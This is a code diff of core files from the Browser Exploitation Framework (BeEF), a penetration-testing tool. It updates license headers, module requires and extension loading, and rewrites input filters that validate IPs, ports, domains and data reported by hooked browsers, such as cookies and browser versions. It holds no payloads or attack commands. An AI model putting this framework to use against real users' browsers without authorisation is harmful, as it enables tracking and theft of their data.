       API_PATHS = {
-          'pre_soft_load' => :pre_soft_load,
-          'post_soft_load' => :post_soft_load,
-          'pre_hard_load' => :pre_hard_load,
-          'post_hard_load' => :post_hard_load,
-          'get_options' => :get_options,
-          'get_payload_options' => :get_payload_options,
-          'override_execute' => :override_execute
-      }
+        'pre_soft_load' => :pre_soft_load,
+        'post_soft_load' => :post_soft_load,
+        'pre_hard_load' => :pre_hard_load,
+        'post_hard_load' => :post_hard_load,
+        'get_options' => :get_options,
+        'get_payload_options' => :get_payload_options,
+        'override_execute' => :override_execute
+      }.freeze
 
       # Fired before a module soft load
       # @param [String] mod module key of module about to be soft loaded
@@ -64,8 +52,6 @@ module BeEF
       # @return [Hash] a hash of options
       # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
       def get_payload_options; end
-
     end
-
   end
 end

core/api/modules.rb

@@ -1,32 +1,18 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module API
-
     module Modules
-
       # @note Defined API Paths
       API_PATHS = {
-          'post_soft_load' => :post_soft_load
-      }
+        'post_soft_load' => :post_soft_load
+      }.freeze
 
       # Fires just after all modules are soft loaded
       def post_soft_load; end
-
     end
-
   end
 end

core/bootstrap.rb

@@ -1,21 +1,10 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module Core
-
   end
 end
 
@@ -23,21 +12,27 @@ end
 require 'core/main/router/router'
 require 'core/main/router/api'
 
-
 ## @note Include http server functions for beef
 require 'core/main/server'
 require 'core/main/handlers/modules/beefjs'
+require 'core/main/handlers/modules/legacybeefjs'
+require 'core/main/handlers/modules/multistagebeefjs'
 require 'core/main/handlers/modules/command'
 require 'core/main/handlers/commands'
 require 'core/main/handlers/hookedbrowsers'
+require 'core/main/handlers/browserdetails'
 
 # @note Include the network stack
 require 'core/main/network_stack/handlers/dynamicreconstruction'
+require 'core/main/network_stack/handlers/redirector'
+require 'core/main/network_stack/handlers/raw'
 require 'core/main/network_stack/assethandler'
 require 'core/main/network_stack/api'
 
-# @note Include the distributed engine
-require 'core/main/distributed_engine/models/rules'
+# @note Include the autorun engine
+require 'core/main/autorun_engine/parser'
+require 'core/main/autorun_engine/engine'
+require 'core/main/autorun_engine/rule_loader'
 
 ## @note Include helpers
 require 'core/module'
@@ -48,6 +43,14 @@ require 'core/hbmanager'
 
 ## @note Include RESTful API
 require 'core/main/rest/handlers/hookedbrowsers'
+require 'core/main/rest/handlers/browserdetails'
 require 'core/main/rest/handlers/modules'
+require 'core/main/rest/handlers/categories'
 require 'core/main/rest/handlers/logs'
+require 'core/main/rest/handlers/admin'
+require 'core/main/rest/handlers/server'
+require 'core/main/rest/handlers/autorun_engine'
 require 'core/main/rest/api'
+
+## @note Include Websocket
+require 'core/main/network_stack/websocket/websocket'

core/core.rb

@@ -1,38 +1,31 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module Core
-  
-end
+  module Core
+  end
 end
 
 # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
-require 'core/main/models/user'
+require 'core/main/model'
 require 'core/main/models/commandmodule'
 require 'core/main/models/hookedbrowser'
 require 'core/main/models/log'
 require 'core/main/models/command'
 require 'core/main/models/result'
 require 'core/main/models/optioncache'
+require 'core/main/models/browserdetails'
+require 'core/main/models/rule'
+require 'core/main/models/execution'
+require 'core/main/models/legacybrowseruseragents'
 
 # @note Include the constants
 require 'core/main/constants/browsers'
 require 'core/main/constants/commandmodule'
-require 'core/main/constants/distributedengine'
 require 'core/main/constants/os'
+require 'core/main/constants/hardware'
 
 # @note Include core modules for beef
 require 'core/main/configuration'
@@ -40,9 +33,8 @@ require 'core/main/command'
 require 'core/main/crypto'
 require 'core/main/logger'
 require 'core/main/migration'
+require 'core/main/geoip'
 
 # @note Include the command line parser and the banner printer
 require 'core/main/console/commandline'
 require 'core/main/console/banners'
-
-

core/extension.rb

@@ -1,55 +1,50 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module Extension
-
     # Checks to see if extension is set inside the configuration
     # @param [String] ext the extension key
     # @return [Boolean] whether or not the extension exists in BeEF's configuration
     def self.is_present(ext)
-      return BeEF::Core::Configuration.instance.get('beef.extension').has_key?(ext.to_s)
+      BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s
     end
 
     # Checks to see if extension is enabled in configuration
     # @param [String] ext the extension key
-    # @return [Boolean] whether or not the extension is enabled 
+    # @return [Boolean] whether or not the extension is enabled
     def self.is_enabled(ext)
-      return (self.is_present(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.enable') == true)
+      return false unless is_present(ext)
+
+      BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
     end
 
     # Checks to see if extension has been loaded
     # @param [String] ext the extension key
-    # @return [Boolean] whether or not the extension is loaded 
+    # @return [Boolean] whether or not the extension is loaded
     def self.is_loaded(ext)
-      return (self.is_enabled(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.loaded') == true)
+      return false unless is_enabled(ext)
+
+      BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
     end
 
-    # Loads an extension 
+    # Loads an extension
     # @param [String] ext the extension key
     # @return [Boolean] whether or not the extension loaded successfully
-    # @todo Wrap the require() statement in a try catch block to allow BeEF to fail gracefully if there is a problem with that extension - Issue #480
     def self.load(ext)
-      if File.exists?('extensions/'+ext+'/extension.rb')
-        require 'extensions/'+ext+'/extension.rb'
+      if File.exist? "#{$root_dir}/extensions/#{ext}/extension.rb"
+        require "#{$root_dir}/extensions/#{ext}/extension.rb"
         print_debug "Loaded extension: '#{ext}'"
-        BeEF::Core::Configuration.instance.set('beef.extension.'+ext+'.loaded', true)
+        BeEF::Core::Configuration.instance.set "beef.extension.#{ext}.loaded", true
         return true
       end
       print_error "Unable to load extension '#{ext}'"
-      return false
+      false
+    rescue StandardError => e
+      print_error "Unable to load extension '#{ext}':"
+      print_more e.message
     end
   end
 end

core/extensions.rb

@@ -1,44 +1,40 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module Extensions
-
     # Returns configuration of all enabled extensions
     # @return [Array] an array of extension configuration hashes that are enabled
     def self.get_enabled
-      return BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
+      BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
+    rescue StandardError => e
+      print_error "Failed to get enabled extensions: #{e.message}"
+      print_error e.backtrace
     end
 
     # Returns configuration of all loaded extensions
     # @return [Array] an array of extension configuration hashes that are loaded
     def self.get_loaded
-      return BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
+      BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
+    rescue StandardError => e
+      print_error "Failed to get loaded extensions: #{e.message}"
+      print_error e.backtrace
     end
 
     # Load all enabled extensions
     # @note API fire for post_load
     def self.load
       BeEF::Core::Configuration.instance.load_extensions_config
-      self.get_enabled.each { |k,v|
-        BeEF::Extension.load(k)
-      }
+      get_enabled.each do |k, _v|
+        BeEF::Extension.load k
+      end
       # API post extension load
-      BeEF::API::Registrar.instance.fire(BeEF::API::Extensions, 'post_load')
+      BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
+    rescue StandardError => e
+      print_error "Failed to load extensions: #{e.message}"
+      print_error e.backtrace
     end
-
   end
 end
-

core/filters.rb

@@ -1,21 +1,10 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
   module Filters
-
   end
 end
 

core/filters/base.rb

@@ -1,153 +1,214 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module Filters
-  
-  # Check if the string is not empty and not nil
-  # @param [String] str String for testing
-  # @return [Boolean] Whether the string is not empty
-  def self.is_non_empty_string?(str)
-    return false if str.nil?
-    return false if not str.is_a? String
-    return false if str.empty?
-    true
-  end
+  module Filters
+    # Check if the string is not empty and not nil
+    #   @param [String] str String for testing
+    #   @return [Boolean] Whether the string is not empty
+    def self.is_non_empty_string?(str)
+      return false if str.nil?
+      return false unless str.is_a? String
+      return false if str.empty?
 
-  # Check if only the characters in 'chars' are in 'str'
-  # @param [String] chars List of characters to match
-  # @param [String] str String for testing
-  # @return [Boolean] Whether or not the only characters in str are specified in chars
-  def self.only?(chars, str)
-    regex = Regexp.new('[^' + chars + ']')
-    regex.match(str).nil?
-  end
-        
-  # Check if one or more characters in 'chars' are in 'str'
-  # @param [String] chars List of characters to match
-  # @param [String] str String for testing
-  # @return [Boolean] Whether one of the characters exists in the string
-  def self.exists?(chars, str)
-    regex = Regexp.new(chars)
-    not regex.match(str).nil?
-  end
-        
-  # Check for null char
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has a null character
-  def self.has_null? (str)
-    return false if not is_non_empty_string?(str)
-    exists?('\x00', str)
-  end
+      true
+    end
 
-  # Check for non-printable char
-  # @param [String] str String for testing
-  # @return [Boolean] Whether or not the string has non-printable characters
-  def self.has_non_printable_char?(str)
-    return false if not is_non_empty_string?(str)
-    not only?('[:print:]', str)
-  end
+    # Check if only the characters in 'chars' are in 'str'
+    #   @param [String] chars List of characters to match
+    #   @param [String] str String for testing
+    #   @return [Boolean] Whether or not the only characters in str are specified in chars
+    def self.only?(chars, str)
+      regex = Regexp.new('[^' + chars + ']')
+      regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
+    end
 
-  # Check if num characters only
-  # @param [String] str String for testing
-  # @return [Boolean] If the string only contains numbers
-  def self.nums_only?(str)
-    return false if not is_non_empty_string?(str)
-    only?('0-9', str)
-  end
+    # Check if one or more characters in 'chars' are in 'str'
+    #   @param [String] chars List of characters to match
+    #   @param [String] str String for testing
+    #   @return [Boolean] Whether one of the characters exists in the string
+    def self.exists?(chars, str)
+      regex = Regexp.new(chars)
+      !regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
+    end
 
-  # Check if valid float
-  # @param [String] str String for float testing
-  # @return [Boolean] If the string is a valid float
-  def self.is_valid_float?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not only?('0-9\.', str)
-    not (str =~ /^[\d]+\.[\d]+$/).nil?
-  end
+    # Check for null char
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string has a null character
+    def self.has_null?(str)
+      return false unless is_non_empty_string?(str)
 
-  # Check if hex characters only
-  # @param [String] str String for testing
-  # @return [Boolean] If the string only contains hex characters
-  def self.hexs_only?(str)
-    return false if not is_non_empty_string?(str)
-    only?('0123456789ABCDEFabcdef', str)
-  end
+      exists?('\x00', str)
+    end
 
-  # Check if first character is a number
-  # @param [String] String for testing
-  # @return [Boolean] If the first character of the string is a number
-  def self.first_char_is_num?(str)
-    return false if not is_non_empty_string?(str)
-    not (str =~ /^\d.*/).nil?
-  end
+    # Check for non-printable char
+    #   @param [String] str String for testing
+    #   @return [Boolean] Whether or not the string has non-printable characters
+    def self.has_non_printable_char?(str)
+      return false unless is_non_empty_string?(str)
 
-  # Check for space characters: \t\n\r\f
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has a whitespace character
-  def self.has_whitespace_char?(str)
-    return false if not is_non_empty_string?(str)
-    exists?('\s', str)
-  end
+      !only?('[:print:]', str)
+    end
 
-  # Check for non word characters: a-zA-Z0-9
-  # @param [String] str String for testing
-  # @return [Boolean] If the string only has alphanums
-  def self.alphanums_only?(str)
-    return false if not is_non_empty_string?(str)
-    only?("a-zA-Z0-9", str)
-  end
-        
-  # Check if valid ip address string
-  # @param [String] ip String for testing
-  # @return [Boolean] If the string is a valid IP address
-  # @note only IPv4 compliant
-  def self.is_valid_ip?(ip)
-    return false if not is_non_empty_string?(ip)
-    return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
-    false
-  end
+    # Check if num characters only
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string only contains numbers
+    def self.nums_only?(str)
+      return false unless is_non_empty_string?(str)
 
-  # Check for valid browser details characters
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser details characters
-  # @note This function passes the \302\256 character which translates to the registered symbol (r)
-  def self.has_valid_browser_details_chars?(str)
-    return false if not is_non_empty_string?(str)
-    not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?  
-  end  
+      only?('0-9', str)
+    end
 
-  # Check for valid base details characters
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has only valid base characters
-  # @note This is for basic filtering where possible all specific filters must be implemented
-  # @note This function passes the \302\256 character which translates to the registered symbol (r)
-  def self.has_valid_base_chars?(str)
-    return false if not is_non_empty_string?(str)
-    (str =~ /[^\302\256[:print:]]/).nil? 
-  end  
+    # Check if valid float
+    #   @param [String] str String for float testing
+    #   @return [Boolean] If the string is a valid float
+    def self.is_valid_float?(str)
+      return false unless is_non_empty_string?(str)
+      return false unless only?('0-9\.', str)
 
-  # Verify the yes and no is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is either 'yes' or 'no'
-  # @todo Confirm this is case insensitive
-  def self.is_valid_yes_no?(str)
-    return false if has_non_printable_char?(str)
-    return false if str !~ /^(Yes|No)$/
-    return false if str.length > 200
-    true
+      !(str =~ /^\d+\.\d+$/).nil?
+    end
+
+    # Check if hex characters only
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string only contains hex characters
+    def self.hexs_only?(str)
+      return false unless is_non_empty_string?(str)
+
+      only?('0123456789ABCDEFabcdef', str)
+    end
+
+    # Check if first character is a number
+    #   @param [String] String for testing
+    #   @return [Boolean] If the first character of the string is a number
+    def self.first_char_is_num?(str)
+      return false unless is_non_empty_string?(str)
+
+      !(str =~ /^\d.*/).nil?
+    end
+
+    # Check for space characters: \t\n\r\f
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string has a whitespace character
+    def self.has_whitespace_char?(str)
+      return false unless is_non_empty_string?(str)
+
+      exists?('\s', str)
+    end
+
+    # Check for non word characters: a-zA-Z0-9
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string only has alphanums
+    def self.alphanums_only?(str)
+      return false unless is_non_empty_string?(str)
+
+      only?('a-zA-Z0-9', str)
+    end
+
+    # @overload self.is_valid_ip?(ip, version)
+    # Checks if the given string is a valid IP address
+    #   @param [String] ip string to be tested
+    #   @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
+    #   @return [Boolean] true if the string is a valid IP address, otherwise false
+    #
+    # @overload self.is_valid_ip?(ip)
+    # Checks if the given string is either a valid IPv4 or IPv6 address
+    #   @param [String] ip string to be tested
+    #   @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
+    def self.is_valid_ip?(ip, version = :both)
+      return false unless is_non_empty_string?(ip)
+
+      if case version.inspect.downcase
+         when /^:ipv4$/
+           ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
+             (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
+         when /^:ipv6$/
+           ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
+             ([0-9a-f]{1,4}:){1,7}:|
+             ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
+             ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
+             ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
+             ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
+             ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
+             [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
+             :((:[0-9a-f]{1,4}){1,7}|:)|
+             fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
+             ::(ffff(:0{1,4}){0,1}:){0,1}
+             ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
+             (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
+             ([0-9a-f]{1,4}:){1,4}:
+             ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
+             (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
+         when /^:both$/
+           is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
+         end
+        true
+      else
+        false
+      end
+    end
+
+    # Checks if the given string is a valid private IP address
+    #   @param [String] ip string for testing
+    #   @return [Boolean] true if the string is a valid private IP address, otherwise false
+    # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
+    def self.is_valid_private_ip?(ip)
+      return false unless is_valid_ip?(ip)
+
+      ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
+    end
+
+    # Checks if the given string is a valid TCP port
+    #   @param [String] port string for testing
+    #   @return [Boolean] true if the string is a valid TCP port, otherwise false
+    def self.is_valid_port?(port)
+      valid = false
+      valid = true if port.to_i > 0 && port.to_i < 2**16
+      valid
+    end
+
+    # Checks if string is a valid domain name
+    #   @param [String] domain string for testing
+    #   @return [Boolean] If the string is a valid domain name
+    # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
+    def self.is_valid_domain?(domain)
+      return false unless is_non_empty_string?(domain)
+      return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
+
+      false
+    end
+
+    # Check for valid browser details characters
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string has valid browser details characters
+    # @note This function passes the \302\256 character which translates to the registered symbol (r)
+    def self.has_valid_browser_details_chars?(str)
+      return false unless is_non_empty_string?(str)
+
+      (str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
+    end
+
+    # Check for valid base details characters
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string has only valid base characters
+    # @note This is for basic filtering where possible all specific filters must be implemented
+    # @note This function passes the \302\256 character which translates to the registered symbol (r)
+    def self.has_valid_base_chars?(str)
+      return false unless is_non_empty_string?(str)
+
+      (str =~ /[^\302\256[:print:]]/).nil?
+    end
+
+    # Verify the yes and no is valid
+    #   @param [String] str String for testing
+    #   @return [Boolean] If the string is either 'yes' or 'no'
+    def self.is_valid_yes_no?(str)
+      return false if has_non_printable_char?(str)
+      return false if str !~ /\A(Yes|No)\z/i
+
+      true
+    end
   end
-  
-end
 end

core/filters/browser.rb

@@ -1,124 +1,162 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 module BeEF
-module Filters
+  module Filters
+    # Check the browser type value - for example, 'FF'
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid browser name characters
+    def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if str.length > 2
+      return false unless has_valid_browser_details_chars?(str)
 
-  # Check the browser type value - for example, 'FF'
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser name characters
-  def self.is_valid_browsername?(str)
-    return false if not is_non_empty_string?(str)
-    return false if str.length > 2
-    return false if has_non_printable_char?(str)  
-    true
-  end
+      true
+    end
 
-  # Check the browser type value - for example, {"FF5":true,"FF":true} & {"S":true}
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser type characters
-  def self.is_valid_browsertype?(str)
-    return false if not is_non_empty_string?(str)
-    return false if str.length < 10
-    return false if str.length > 50
-    return false if has_non_printable_char?(str)
-    true
-  end
+    # Check the Operating System name value - for example, 'Windows XP'
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid Operating System name characters
+    def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_browser_details_chars?(str)
+      return false if str.length < 2
 
-  # Check the Operating System name value - for example, 'Windows XP'
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid Operating System name characters
-  def self.is_valid_osname?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str) 
-    return false if str.length < 2
-    true
-  end
+      true
+    end
 
-  # Verify the browser version string is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser version characters
-  def self.is_valid_browserversion?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str)  
-    return true if str.eql? "UNKNOWN"
-    return false if not nums_only?(str) and not is_valid_float?(str)  
-    return false if str.length > 10      
-    true
-  end
+    # Check the Hardware name value - for example, 'iPhone'
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid Hardware name characters
+    def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_browser_details_chars?(str)
+      return false if str.length < 2
 
-  # Verify the browser/UA string is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser / ua string characters
-  def self.is_valid_browserstring?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str)    
-    return false if str.length > 300      
-    true
-  end
-  
-  # Verify the cookies are valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid cookie characters
-  def self.is_valid_cookies?(str)
-    return false if has_non_printable_char?(str)    
-    return false if str.length > 2000
-    true
-  end
+      true
+    end
 
-  # Verify the screen params are valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid screen param characters
-  def self.is_valid_screen_params?(str)
-    return false if has_non_printable_char?(str)    
-    return false if str.length > 200
-    true
-  end
+    # Verify the browser version string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid browser version characters
+    def self.is_valid_browserversion?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return true if str.eql? 'UNKNOWN'
+      return true if str.eql? 'ALL'
+      return false if !nums_only?(str) && !str.match(/\A(0|[1-9][0-9]{0,3})(\.(0|[1-9][0-9]{0,3})){0,3}\z/)
+      return false if str.length > 20
 
-  # Verify the window size is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid window size characters
-  def self.is_valid_window_size?(str)
-    return false if has_non_printable_char?(str)    
-    return false if str.length > 200
-    true
-  end
+      true
+    end
 
-  # Verify the system platform is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid system platform characters
-  def self.is_valid_system_platform?(str)
-    return false if has_non_printable_char?(str)
-    return false if str.length > 200
-    true
-  end
+    # Verify the os version string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid os version characters
+    def self.is_valid_osversion?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return true if str.eql? 'UNKNOWN'
+      return true if str.eql? 'ALL'
+      return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)
+      return false if str.length > 20
 
-  # Verify the browser_plugins string is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser plugin characters
-  # @note This string can be empty if there are no browser plugins
-  # @todo Verify if the ruby version statement is still necessary
-  def self.is_valid_browser_plugins?(str)
-    return true if not is_non_empty_string?(str)
-    return false if str.length > 1000
-    if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
-      return (str =~ /[^\w\d\s()-.,;_!\302\256]/u).nil?
-    else
-      return (str =~ /[^\w\d\s()-.,;_!\302\256]/n).nil?
+      true
+    end
+
+    # Verify the browser/UA string is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid browser / ua string characters
+    def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_browser_details_chars?(str)
+      return false if str.length > 300
+
+      true
+    end
+
+    # Verify the cookies are valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid cookie characters
+    def self.is_valid_cookies?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return false if str.length > 2000
+
+      true
+    end
+
+    # Verify the system platform is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid system platform characters
+    def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false unless has_valid_browser_details_chars?(str)
+      return false if str.length > 200
+
+      true
+    end
+
+    # Verify the date stamp is valid
+    # @param [String] str String for testing
+    # @return [Boolean] If the string has valid date stamp characters
+    def self.is_valid_date_stamp?(str) # rubocop:disable Naming/PredicatePrefix
+      return false unless is_non_empty_string?(str)
+      return false if has_non_printable_char?(str)
+      return false if str.length > 200
+
+      true
+    end
